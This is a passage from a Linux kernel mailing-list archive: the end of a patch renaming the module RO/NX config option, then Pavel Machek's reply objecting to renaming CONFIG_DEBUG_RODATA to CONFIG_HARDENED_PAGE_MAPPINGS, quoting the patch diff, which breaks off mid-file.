 CONFIG_EARLY_PRINTK=y
-CONFIG_DEBUG_SET_MODULE_RONX=y
+CONFIG_HARDENED_MODULE_MAPPINGS=y
 # CONFIG_XZ_DEC_X86 is not set
 # CONFIG_XZ_DEC_POWERPC is not set
 # CONFIG_XZ_DEC_IA64 is not set
diff --git a/arch/arm/configs/aspeed_g5_defconfig b/arch/arm/configs/aspeed_g5_defconfig
index 90c5ce4..2ea444e 100644
--- a/arch/arm/configs/aspeed_g5_defconfig
+++ b/arch/arm/configs/aspeed_g5_defconfig
@@ -81,7 +81,7 @@ CONFIG_DEBUG_LL_UART_8250=y
 CONFIG_DEBUG_UART_PHYS=0x1e784000
 CONFIG_DEBUG_UART_VIRT=0xe8784000
 CONFIG_EARLY_PRINTK=y
-CONFIG_DEBUG_SET_MODULE_RONX=y
+CONFIG_HARDENED_MODULE_MAPPINGS=y
 # CONFIG_XZ_DEC_X86 is not set
 # CONFIG_XZ_DEC_POWERPC is not set
 # CONFIG_XZ_DEC_IA64 is not set
diff --git a/arch/arm/kernel/patch.c b/arch/arm/kernel/patch.c
index 9da1bf5..eb73a76 100644
--- a/arch/arm/kernel/patch.c
+++ b/arch/arm/kernel/patch.c
@@ -24,7 +24,7 @@ static void __kprobes *patch_map(void *addr, int fixmap, unsigned long *flags)
 	bool module = !core_kernel_text(uintaddr);
 	struct page *page;
 
-	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
+	if (module && IS_ENABLED(CONFIG_HARDENED_MODULE_MAPPINGS))
 		page = vmalloc_to_page(addr);
 	else if (!module && IS_ENABLED(CONFIG_HARDENED_PAGE_MAPPINGS))
 		page = virt_to_page(addr);
diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
index 06fed56..2fe0e98 100644
--- a/arch/arm64/Kconfig
+++ b/arch/arm64/Kconfig
@@ -12,6 +12,7 @@ config ARM64
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_GIGANTIC_PAGE
 	select ARCH_HAS_HARDENED_MAPPINGS
+	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
index a26d27f..1eebe1f 100644
--- a/arch/arm64/Kconfig.debug
+++ b/arch/arm64/Kconfig.debug
@@ -71,17 +71,6 @@ config DEBUG_WX
 
 	  If in doubt, say "Y".
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES
-	default y
-	help
-	  Is this is set, kernel module text and rodata will be made read-only.
-	  This is to help catch accidental or malicious attempts to change the
-	  kernel's executable code.
-
-	  If in doubt, say Y.
-
 config DEBUG_ALIGN_RODATA
 	depends on ARCH_HAS_HARDENED_MAPPINGS
 	bool "Align linker sections up to SECTION_SIZE"
diff --git a/arch/arm64/kernel/insn.c b/arch/arm64/kernel/insn.c
index 94b62c1..31bd53f 100644
--- a/arch/arm64/kernel/insn.c
+++ b/arch/arm64/kernel/insn.c
@@ -93,7 +93,7 @@ static void __kprobes *patch_map(void *addr, int fixmap)
 	bool module = !core_kernel_text(uintaddr);
 	struct page *page;
 
-	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
+	if (module && IS_ENABLED(CONFIG_HARDENED_MODULE_MAPPINGS))
 		page = vmalloc_to_page(addr);
 	else if (!module)
 		page = pfn_to_page(PHYS_PFN(__pa(addr)));
diff --git a/arch/s390/Kconfig b/arch/s390/Kconfig
index 8e70ae5..b1e6ed5 100644
--- a/arch/s390/Kconfig
+++ b/arch/s390/Kconfig
@@ -69,6 +69,7 @@ config S390
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_GIGANTIC_PAGE
 	select ARCH_HAS_HARDENED_MAPPINGS
+	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
 	select ARCH_HAS_KCOV
 	select ARCH_HAS_SG_CHAIN
 	select ARCH_HAS_UBSAN_SANITIZE_ALL
diff --git a/arch/s390/Kconfig.debug b/arch/s390/Kconfig.debug
index 26c5d5be..57f8ea9 100644
--- a/arch/s390/Kconfig.debug
+++ b/arch/s390/Kconfig.debug
@@ -17,7 +17,4 @@ config S390_PTDUMP
 	  kernel.
 	  If in doubt, say "N"
 
-config DEBUG_SET_MODULE_RONX
-	def_bool y
-	depends on MODULES
 endmenu
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 9d80cd8..38ce850 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -51,6 +51,7 @@ config X86
 	select ARCH_HAS_FAST_MULTIPLIER
 	select ARCH_HAS_GCOV_PROFILE_ALL
 	select ARCH_HAS_HARDENED_MAPPINGS
+	select ARCH_HAS_HARDENED_MODULE_MAPPINGS
 	select ARCH_HAS_KCOV			if X86_64
 	select ARCH_HAS_MMIO_FLUSH
 	select ARCH_HAS_PMEM_API		if X86_64
diff --git a/arch/x86/Kconfig.debug b/arch/x86/Kconfig.debug
index 67eec55..69cdd0b 100644
--- a/arch/x86/Kconfig.debug
+++ b/arch/x86/Kconfig.debug
@@ -109,17 +109,6 @@ config DEBUG_WX
 
 	  If in doubt, say "Y".
 
-config DEBUG_SET_MODULE_RONX
-	bool "Set loadable kernel module data as NX and text as RO"
-	depends on MODULES
-	---help---
-	  This option helps catch unintended modifications to loadable
-	  kernel module's text and read-only data. It also prevents execution
-	  of module data. Such protection may interfere with run-time code
-	  patching and dynamic kernel tracing - and they might also protect
-	  against certain classes of kernel exploits.
-	  If in doubt, say "N".
-
 config DEBUG_NX_TEST
 	tristate "Testcase for the NX non-executable stack feature"
 	depends on DEBUG_KERNEL && m
diff --git a/include/linux/filter.h b/include/linux/filter.h
index e4eb254..5426940 100644
--- a/include/linux/filter.h
+++ b/include/linux/filter.h
@@ -545,7 +545,7 @@ static inline bool bpf_prog_was_classic(const struct bpf_prog *prog)
 
 #define bpf_classic_proglen(fprog) (fprog->len * sizeof(fprog->filter[0]))
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_HARDENED_MODULE_MAPPINGS
 static inline void bpf_prog_lock_ro(struct bpf_prog *fp)
 {
 	set_memory_ro((unsigned long)fp, fp->pages);
@@ -563,7 +563,7 @@ static inline void bpf_prog_lock_ro(struct bpf_prog *fp)
 static inline void bpf_prog_unlock_ro(struct bpf_prog *fp)
 {
 }
-#endif /* CONFIG_DEBUG_SET_MODULE_RONX */
+#endif /* CONFIG_HARDENED_MODULE_MAPPINGS */
 
 int sk_filter_trim_cap(struct sock *sk, struct sk_buff *skb, unsigned int cap);
 static inline int sk_filter(struct sock *sk, struct sk_buff *skb)
diff --git a/include/linux/init.h b/include/linux/init.h
index 9967bc9..5d6b0b2 100644
--- a/include/linux/init.h
+++ b/include/linux/init.h
@@ -126,7 +126,7 @@ void prepare_namespace(void);
 void __init load_default_modules(void);
 int __init init_rootfs(void);
 
-#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_HARDENED_MODULE_MAPPINGS)
 extern bool rodata_enabled;
 #endif
 #ifdef CONFIG_HARDENED_PAGE_MAPPINGS
diff --git a/include/linux/module.h b/include/linux/module.h
index 7c84273..a4f6926 100644
--- a/include/linux/module.h
+++ b/include/linux/module.h
@@ -764,7 +764,7 @@ extern int module_sysfs_initialized;
 
 #define __MODULE_STRING(x) __stringify(x)
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_HARDENED_MODULE_MAPPINGS
 extern void set_all_modules_text_rw(void);
 extern void set_all_modules_text_ro(void);
 extern void module_enable_ro(const struct module *mod, bool after_init);
diff --git a/init/main.c b/init/main.c
index 4b3bcc4..1545399 100644
--- a/init/main.c
+++ b/init/main.c
@@ -925,7 +925,7 @@ static int try_to_run_init_process(const char *init_filename)
 
 static noinline void __init kernel_init_freeable(void);
 
-#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_DEBUG_SET_MODULE_RONX)
+#if defined(CONFIG_HARDENED_PAGE_MAPPINGS) || defined(CONFIG_HARDENED_MODULE_MAPPINGS)
 bool rodata_enabled __ro_after_init = true;
 static int __init set_debug_rodata(char *str)
 {
diff --git a/kernel/module.c b/kernel/module.c
index 38d4270..eb2f865 100644
--- a/kernel/module.c
+++ b/kernel/module.c
@@ -74,9 +74,9 @@
 /*
  * Modules' sections will be aligned on page boundaries
  * to ensure complete separation of code and data, but
- * only when CONFIG_DEBUG_SET_MODULE_RONX=y
+ * only when CONFIG_HARDENED_MODULE_MAPPINGS=y
  */
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_HARDENED_MODULE_MAPPINGS
 # define debug_align(X) ALIGN(X, PAGE_SIZE)
 #else
 # define debug_align(X) (X)
@@ -1847,7 +1847,7 @@ static void mod_sysfs_teardown(struct module *mod)
 	mod_sysfs_fini(mod);
 }
 
-#ifdef CONFIG_DEBUG_SET_MODULE_RONX
+#ifdef CONFIG_HARDENED_MODULE_MAPPINGS
 /*
  * LKM RO/NX protection: protect module's text/ro-data
  * from modification and any data from execution.
diff --git a/security/Kconfig b/security/Kconfig
index ad6ce82..0f98d6b 100644
--- a/security/Kconfig
+++ b/security/Kconfig
@@ -174,6 +174,22 @@ config HARDENED_PAGE_MAPPINGS
 	  Unless your system has known restrictions or performance issues, it
 	  is recommended to say Y here.
 
+config ARCH_HAS_HARDENED_MODULE_MAPPINGS
+	def_bool n
+
+config HARDENED_MODULE_MAPPINGS
+	bool "Mark module mappings with stricter permissions (RO/W^X)"
+	default y
+	depends on ARCH_HAS_HARDENED_MODULE_MAPPINGS
+	help
+	  If this is set, module text and rodata memory will be made read-only,
+	  and non-text memory will be made non-executable. This provides
+	  protection against certain security vulnerabilities (e.g. modifying
+	  code)
+
+	  Unless your system has known restrictions or performance issues, it
+	  is recommended to say Y here.
+
 source security/selinux/Kconfig
 source security/smack/Kconfig
 source security/tomoyo/Kconfig
-- 
2.7.4



From - Thu Nov 08 21:39:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Pavel Machek <pavel@ucw.cz>
Newsgroups: gmane.linux.kernel.hardened.devel,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.power-management.general
Subject: Re: [PATCH 1/2] security: Change name of CONFIG_DEBUG_RODATA
Date: Thu, 19 Jan 2017 08:53:41 +0100
Lines: 585
Approved: news@gmane.org
Message-ID: <20170119075341.GA14530@amd>
References: <1484789346-21012-1-git-send-email-labbott@redhat.com>
 <1484789346-21012-2-git-send-email-labbott@redhat.com>
Reply-To: kernel-hardening@lists.openwall.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="EeQfGwPcQSOJBaQU"
X-Trace: blaine.gmane.org 1484812440 3704 195.159.176.226 (19 Jan 2017 07:54:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jan 2017 07:54:00 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Kees Cook <keescook@chromium.org>,
	Jason Wessel <jason.wessel@windriver.com>,
	Jonathan Corbet <corbet@lwn.net>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Ingo Molnar <mingo@redhat.com>, "H. Peter Anvin" <hpa@zytor.com>,
	x86@kernel.org, Rob Herring <robh@kernel.org>,
	"Rafael J. Wysocki" <rjw@rjwysocki.net>,
	Len Brown <len.brown@intel.com>,
	Mark Rutland <mark.rutland@arm.com>, Jessica Yu <jeyu@redhat.com>,
	linux-doc@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
	linux-s390@vger.kernel.org, linux-pm@vger.kernel.org,
	kernel-hard
To: Laura Abbott <labbott@redhat.com>
Original-X-From: kernel-hardening-return-6076-glkh-kernel-hardening=m.gmane.org@lists.openwall.com Thu Jan 19 08:53:51 2017
Return-path: <kernel-hardening-return-6076-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>
Envelope-to: glkh-kernel-hardening@m.gmane.org
Original-Received: from mother.openwall.net ([195.42.179.200])
	by blaine.gmane.org with smtp (Exim 4.84_2)
	(envelope-from <kernel-hardening-return-6076-glkh-kernel-hardening=m.gmane.org@lists.openwall.com>)
	id 1cU7Xb-0000H0-FG
	for glkh-kernel-hardening@m.gmane.org; Thu, 19 Jan 2017 08:53:51 +0100
Original-Received: (qmail 28230 invoked by uid 550); 19 Jan 2017 07:53:54 -0000
Mailing-List: contact kernel-hardening-help@lists.openwall.com; run by ezmlm
Precedence: bulk
List-Post: <mailto:kernel-hardening@lists.openwall.com>
List-Help: <mailto:kernel-hardening-help@lists.openwall.com>
List-Unsubscribe: <mailto:kernel-hardening-unsubscribe@lists.openwall.com>
List-Subscribe: <mailto:kernel-hardening-subscribe@lists.openwall.com>
List-ID: <kernel-hardening.lists.openwall.com>
Delivered-To: mailing list kernel-hardening@lists.openwall.com
Original-Received: (qmail 28202 invoked from network); 19 Jan 2017 07:53:53 -0000
Content-Disposition: inline
In-Reply-To: <1484789346-21012-2-git-send-email-labbott@redhat.com>
Xref: news.gmane.org gmane.linux.kernel.hardened.devel:5229 gmane.linux.documentation:44403 gmane.linux.kernel:2391715 gmane.linux.ports.arm.kernel:552066 gmane.linux.ports.parisc:27210 gmane.linux.power-management.general:85537
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.hardened.devel/5229>


--EeQfGwPcQSOJBaQU
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed 2017-01-18 17:29:05, Laura Abbott wrote:
>=20
> Despite the word 'debug' in CONFIG_DEBUG_RODATA, this kernel option
> provides key security features that are to be expected on a modern
> system. Change the name to CONFIG_HARDENED_PAGE_MAPPINGS which more
> accurately describes what this option is intended to do.

I think this is bad change. CONFIG_DEBUG_RODATA is describing what it
does, CONFIG_HARDENED_PAGE_MAPPINGS is advertising.

We don't do advertising, and we don't force people to re-answer the
config questions without good reason.

CONFIG_HARDENED_RODATA might fix the first problem, but not the second
one.

								Pavel
							=09

> Signed-off-by: Laura Abbott <labbott@redhat.com>
> ---
>  Documentation/DocBook/kgdb.tmpl            |  8 ++++----
>  Documentation/security/self-protection.txt |  2 +-
>  arch/arm/Kconfig                           |  1 +
>  arch/arm/configs/aspeed_g4_defconfig       |  2 +-
>  arch/arm/configs/aspeed_g5_defconfig       |  2 +-
>  arch/arm/include/asm/cacheflush.h          |  2 +-
>  arch/arm/kernel/patch.c                    |  2 +-
>  arch/arm/kernel/vmlinux.lds.S              |  8 ++++----
>  arch/arm/mm/Kconfig                        | 14 +-------------
>  arch/arm/mm/init.c                         |  4 ++--
>  arch/arm64/Kconfig                         |  4 +---
>  arch/arm64/Kconfig.debug                   |  2 +-
>  arch/parisc/Kconfig                        |  1 +
>  arch/parisc/Kconfig.debug                  | 11 -----------
>  arch/parisc/configs/712_defconfig          |  2 +-
>  arch/parisc/configs/c3000_defconfig        |  2 +-
>  arch/parisc/mm/init.c                      |  2 +-
>  arch/s390/Kconfig                          |  4 +---
>  arch/x86/Kconfig                           |  4 +---
>  include/linux/init.h                       |  4 ++--
>  init/main.c                                |  4 ++--
>  kernel/configs/android-recommended.config  |  2 +-
>  kernel/power/hibernate.c                   |  2 +-
>  kernel/power/power.h                       |  4 ++--
>  kernel/power/snapshot.c                    |  4 ++--
>  security/Kconfig                           | 16 ++++++++++++++++
>  26 files changed, 51 insertions(+), 62 deletions(-)
>=20
> diff --git a/Documentation/DocBook/kgdb.tmpl b/Documentation/DocBook/kgdb=
=2Etmpl
> index f3abca7..a79b638 100644
> --- a/Documentation/DocBook/kgdb.tmpl
> +++ b/Documentation/DocBook/kgdb.tmpl
> @@ -115,12 +115,12 @@
>      </para>
>      <para>
>      If the architecture that you are using supports the kernel option
> -    CONFIG_DEBUG_RODATA, you should consider turning it off.  This
> +    CONFIG_HARDENED_PAGE_MAPPINGS, you should consider turning it off.  =
This
>      option will prevent the use of software breakpoints because it
>      marks certain regions of the kernel's memory space as read-only.
>      If kgdb supports it for the architecture you are using, you can
>      use hardware breakpoints if you desire to run with the
> -    CONFIG_DEBUG_RODATA option turned on, else you need to turn off
> +    CONFIG_HARDENED_PAGE_MAPPINGS option turned on, else you need to tur=
n off
>      this option.
>      </para>
>      <para>
> @@ -135,7 +135,7 @@
>      <para>Here is an example set of .config symbols to enable or
>      disable for kgdb:
>      <itemizedlist>
> -    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
> +    <listitem><para># CONFIG_HARDENED_PAGE_MAPPINGS is not set</para></l=
istitem>
>      <listitem><para>CONFIG_FRAME_POINTER=3Dy</para></listitem>
>      <listitem><para>CONFIG_KGDB=3Dy</para></listitem>
>      <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=3Dy</para></listitem>
> @@ -166,7 +166,7 @@
>      </para>
>      <para>Here is an example set of .config symbols to enable/disable kd=
b:
>      <itemizedlist>
> -    <listitem><para># CONFIG_DEBUG_RODATA is not set</para></listitem>
> +    <listitem><para># CONFIG_HARDENED_PAGE_MAPPINGS is not set</para></l=
istitem>
>      <listitem><para>CONFIG_FRAME_POINTER=3Dy</para></listitem>
>      <listitem><para>CONFIG_KGDB=3Dy</para></listitem>
>      <listitem><para>CONFIG_KGDB_SERIAL_CONSOLE=3Dy</para></listitem>
> diff --git a/Documentation/security/self-protection.txt b/Documentation/s=
ecurity/self-protection.txt
> index 3010576..da8cb36 100644
> --- a/Documentation/security/self-protection.txt
> +++ b/Documentation/security/self-protection.txt
> @@ -51,7 +51,7 @@ kernel, they are implemented in a way where the memory =
is temporarily
>  made writable during the update, and then returned to the original
>  permissions.)
> =20
> -In support of this are (the poorly named) CONFIG_DEBUG_RODATA and
> +In support of this are CONFIG_HARDENED_PAGE_MAPPINGS and
>  CONFIG_DEBUG_SET_MODULE_RONX, which seek to make sure that code is not
>  writable, data is not executable, and read-only data is neither writable
>  nor executable.
> diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
> index 186c4c2..09aff28 100644
> --- a/arch/arm/Kconfig
> +++ b/arch/arm/Kconfig
> @@ -7,6 +7,7 @@ config ARM
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
>  	select ARCH_HAVE_CUSTOM_GPIO_H
>  	select ARCH_HAS_GCOV_PROFILE_ALL
> +	select ARCH_HAS_HARDENED_MAPPINGS if MMU && !XIP_KERNEL
>  	select ARCH_MIGHT_HAVE_PC_PARPORT
>  	select ARCH_SUPPORTS_ATOMIC_RMW
>  	select ARCH_USE_BUILTIN_BSWAP
> diff --git a/arch/arm/configs/aspeed_g4_defconfig b/arch/arm/configs/aspe=
ed_g4_defconfig
> index ca39c04..8ccc216 100644
> --- a/arch/arm/configs/aspeed_g4_defconfig
> +++ b/arch/arm/configs/aspeed_g4_defconfig
> @@ -25,7 +25,7 @@ CONFIG_MODULE_UNLOAD=3Dy
>  # CONFIG_ARCH_MULTI_V7 is not set
>  CONFIG_ARCH_ASPEED=3Dy
>  CONFIG_MACH_ASPEED_G4=3Dy
> -CONFIG_DEBUG_RODATA=3Dy
> +CONFIG_HARDENED_PAGE_MAPPINGS=3Dy
>  CONFIG_AEABI=3Dy
>  CONFIG_UACCESS_WITH_MEMCPY=3Dy
>  CONFIG_SECCOMP=3Dy
> diff --git a/arch/arm/configs/aspeed_g5_defconfig b/arch/arm/configs/aspe=
ed_g5_defconfig
> index 4f366b0..90c5ce4 100644
> --- a/arch/arm/configs/aspeed_g5_defconfig
> +++ b/arch/arm/configs/aspeed_g5_defconfig
> @@ -26,7 +26,7 @@ CONFIG_ARCH_MULTI_V6=3Dy
>  # CONFIG_ARCH_MULTI_V7 is not set
>  CONFIG_ARCH_ASPEED=3Dy
>  CONFIG_MACH_ASPEED_G5=3Dy
> -CONFIG_DEBUG_RODATA=3Dy
> +CONFIG_HARDENED_PAGE_MAPPINGS=3Dy
>  CONFIG_AEABI=3Dy
>  CONFIG_UACCESS_WITH_MEMCPY=3Dy
>  CONFIG_SECCOMP=3Dy
> diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cac=
heflush.h
> index bdd283b..c3a7a72 100644
> --- a/arch/arm/include/asm/cacheflush.h
> +++ b/arch/arm/include/asm/cacheflush.h
> @@ -490,7 +490,7 @@ static inline int set_memory_x(unsigned long addr, in=
t numpages) { return 0; }
>  static inline int set_memory_nx(unsigned long addr, int numpages) { retu=
rn 0; }
>  #endif
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  void set_kernel_text_rw(void);
>  void set_kernel_text_ro(void);
>  #else
> diff --git a/arch/arm/kernel/patch.c b/arch/arm/kernel/patch.c
> index 69bda1a..9da1bf5 100644
> --- a/arch/arm/kernel/patch.c
> +++ b/arch/arm/kernel/patch.c
> @@ -26,7 +26,7 @@ static void __kprobes *patch_map(void *addr, int fixmap=
, unsigned long *flags)
> =20
>  	if (module && IS_ENABLED(CONFIG_DEBUG_SET_MODULE_RONX))
>  		page =3D vmalloc_to_page(addr);
> -	else if (!module && IS_ENABLED(CONFIG_DEBUG_RODATA))
> +	else if (!module && IS_ENABLED(CONFIG_HARDENED_PAGE_MAPPINGS))
>  		page =3D virt_to_page(addr);
>  	else
>  		return addr;
> diff --git a/arch/arm/kernel/vmlinux.lds.S b/arch/arm/kernel/vmlinux.lds.S
> index f7f55df..5c6a2e8 100644
> --- a/arch/arm/kernel/vmlinux.lds.S
> +++ b/arch/arm/kernel/vmlinux.lds.S
> @@ -97,7 +97,7 @@ SECTIONS
>  		HEAD_TEXT
>  	}
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  	. =3D ALIGN(1<<SECTION_SHIFT);
>  #endif
> =20
> @@ -158,7 +158,7 @@ SECTIONS
> =20
>  	NOTES
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  	. =3D ALIGN(1<<SECTION_SHIFT);
>  #else
>  	. =3D ALIGN(PAGE_SIZE);
> @@ -230,7 +230,7 @@ SECTIONS
>  	PERCPU_SECTION(L1_CACHE_BYTES)
>  #endif
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  	. =3D ALIGN(1<<SECTION_SHIFT);
>  #else
>  	. =3D ALIGN(THREAD_SIZE);
> @@ -325,7 +325,7 @@ SECTIONS
>  	STABS_DEBUG
>  }
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  /*
>   * Without CONFIG_DEBUG_ALIGN_RODATA, __start_rodata_section_aligned will
>   * be the first section-aligned location after __start_rodata. Otherwise,
> diff --git a/arch/arm/mm/Kconfig b/arch/arm/mm/Kconfig
> index f68e8ec..e770dc9 100644
> --- a/arch/arm/mm/Kconfig
> +++ b/arch/arm/mm/Kconfig
> @@ -1051,21 +1051,9 @@ config ARCH_SUPPORTS_BIG_ENDIAN
>  	  This option specifies the architecture can support big endian
>  	  operation.
> =20
> -config DEBUG_RODATA
> -	bool "Make kernel text and rodata read-only"
> -	depends on MMU && !XIP_KERNEL
> -	default y if CPU_V7
> -	help
> -	  If this is set, kernel text and rodata memory will be made
> -	  read-only, and non-text kernel memory will be made non-executable.
> -	  The tradeoff is that each region is padded to section-size (1MiB)
> -	  boundaries (because their permissions are different and splitting
> -	  the 1M pages into 4K ones causes TLB performance problems), which
> -	  can waste memory.
> -
>  config DEBUG_ALIGN_RODATA
>  	bool "Make rodata strictly non-executable"
> -	depends on DEBUG_RODATA
> +	depends on HARDENED_PAGE_MAPPINGS
>  	default y
>  	help
>  	  If this is set, rodata will be made explicitly non-executable. This
> diff --git a/arch/arm/mm/init.c b/arch/arm/mm/init.c
> index 370581a..303bee4 100644
> --- a/arch/arm/mm/init.c
> +++ b/arch/arm/mm/init.c
> @@ -572,7 +572,7 @@ void __init mem_init(void)
>  	}
>  }
> =20
> -#ifdef CONFIG_DEBUG_RODATA
> +#ifdef CONFIG_HARDENED_PAGE_MAPPINGS
>  struct section_perm {
>  	const char *name;
>  	unsigned long start;
> @@ -741,7 +741,7 @@ void set_kernel_text_ro(void)
> =20
>  #else
>  static inline void fix_kernmem_perms(void) { }
> -#endif /* CONFIG_DEBUG_RODATA */
> +#endif /* CONFIG_HARDENED_PAGE_MAPPINGS */
> =20
>  void free_tcmmem(void)
>  {
> diff --git a/arch/arm64/Kconfig b/arch/arm64/Kconfig
> index 1117421..06fed56 100644
> --- a/arch/arm64/Kconfig
> +++ b/arch/arm64/Kconfig
> @@ -11,6 +11,7 @@ config ARM64
>  	select ARCH_HAS_ELF_RANDOMIZE
>  	select ARCH_HAS_GCOV_PROFILE_ALL
>  	select ARCH_HAS_GIGANTIC_PAGE
> +	select ARCH_HAS_HARDENED_MAPPINGS
>  	select ARCH_HAS_KCOV
>  	select ARCH_HAS_SG_CHAIN
>  	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
> @@ -123,9 +124,6 @@ config ARCH_PHYS_ADDR_T_64BIT
>  config MMU
>  	def_bool y
> =20
> -config DEBUG_RODATA
> -	def_bool y
> -
>  config ARM64_PAGE_SHIFT
>  	int
>  	default 16 if ARM64_64K_PAGES
> diff --git a/arch/arm64/Kconfig.debug b/arch/arm64/Kconfig.debug
> index d1ebd46..a26d27f 100644
> --- a/arch/arm64/Kconfig.debug
> +++ b/arch/arm64/Kconfig.debug
> @@ -83,7 +83,7 @@ config DEBUG_SET_MODULE_RONX
>  	  If in doubt, say Y.
> =20
>  config DEBUG_ALIGN_RODATA
> -	depends on DEBUG_RODATA
> +	depends on ARCH_HAS_HARDENED_MAPPINGS
>  	bool "Align linker sections up to SECTION_SIZE"
>  	help
>  	  If this option is enabled, sections that may potentially be marked as
> diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
> index 3a71f38..7c73eaa 100644
> --- a/arch/parisc/Kconfig
> +++ b/arch/parisc/Kconfig
> @@ -8,6 +8,7 @@ config PARISC
>  	select HAVE_SYSCALL_TRACEPOINTS
>  	select ARCH_WANT_FRAME_POINTERS
>  	select ARCH_HAS_ELF_RANDOMIZE
> +	select ARCH_HAS_HARDENED_MAPPINGS
>  	select RTC_CLASS
>  	select RTC_DRV_GENERIC
>  	select INIT_ALL_POSSIBLE
> diff --git a/arch/parisc/Kconfig.debug b/arch/parisc/Kconfig.debug
> index 68b7cbd..0d856b9 100644
> --- a/arch/parisc/Kconfig.debug
> +++ b/arch/parisc/Kconfig.debug
> @@ -5,15 +5,4 @@ source "lib/Kconfig.debug"
>  config TRACE_IRQFLAGS_SUPPORT
>  	def_bool y
> =20
> -config DEBUG_RODATA
> -       bool "Write protect kernel read-only data structures"
> -       depends on DEBUG_KERNEL
> -       default y
> -       help
> -         Mark the kernel read-only data as write-protected in the pageta=
bles,
> -         in order to catch accidental (and incorrect) writes to such con=
st
> -         data. This option may have a slight performance impact because a
> -         portion of the kernel code won't be covered by a TLB anymore.
> -         If in doubt, say "N".
> -
>  endmenu
> diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_=
defconfig
> index db8f56b..f1a4732 100644
> --- a/arch/parisc/configs/712_defconfig
> +++ b/arch/parisc/configs/712_defconfig
> @@ -182,7 +182,7 @@ CONFIG_DEBUG_FS=3Dy
>  CONFIG_DEBUG_KERNEL=3Dy
>  CONFIG_DEBUG_MUTEXES=3Dy
>  # CONFIG_RCU_CPU_STALL_DETECTOR is not set
> -CONFIG_DEBUG_RODATA=3Dy
> +CONFIG_HARDENED_PAGE_MAPPINGS=3Dy
>  CONFIG_CRYPTO_NULL=3Dm
>  CONFIG_CRYPTO_TEST=3Dm
>  CONFIG_CRYPTO_HMAC=3Dy
> diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3=
000_defconfig
> index fb92b89..03e88e2 100644
> --- a/arch/parisc/configs/c3000_defconfig
> +++ b/arch/parisc/configs/c3000_defconfig
> @@ -166,7 +166,7 @@ CONFIG_DEBUG_KERNEL=3Dy
>  CONFIG_DEBUG_MUTEXES=3Dy
>  # CONFIG_DEBUG_BUGVERBOSE is not set
>  # CONFIG_RCU_CPU_STALL_DETECTOR is not set
> -CONFIG_DEBUG_RODATA=3Dy
> +CONFIG_HARDENED_PAGE_MAPPINGS=3Dy
>  CONFIG_CRYPTO_NULL=3Dm
>  CONFIG_CRYPTO_TEST=3Dm
>  CONFIG_CRYPTO_MD5=3Dm
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index e02ada3..f76f8ad 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
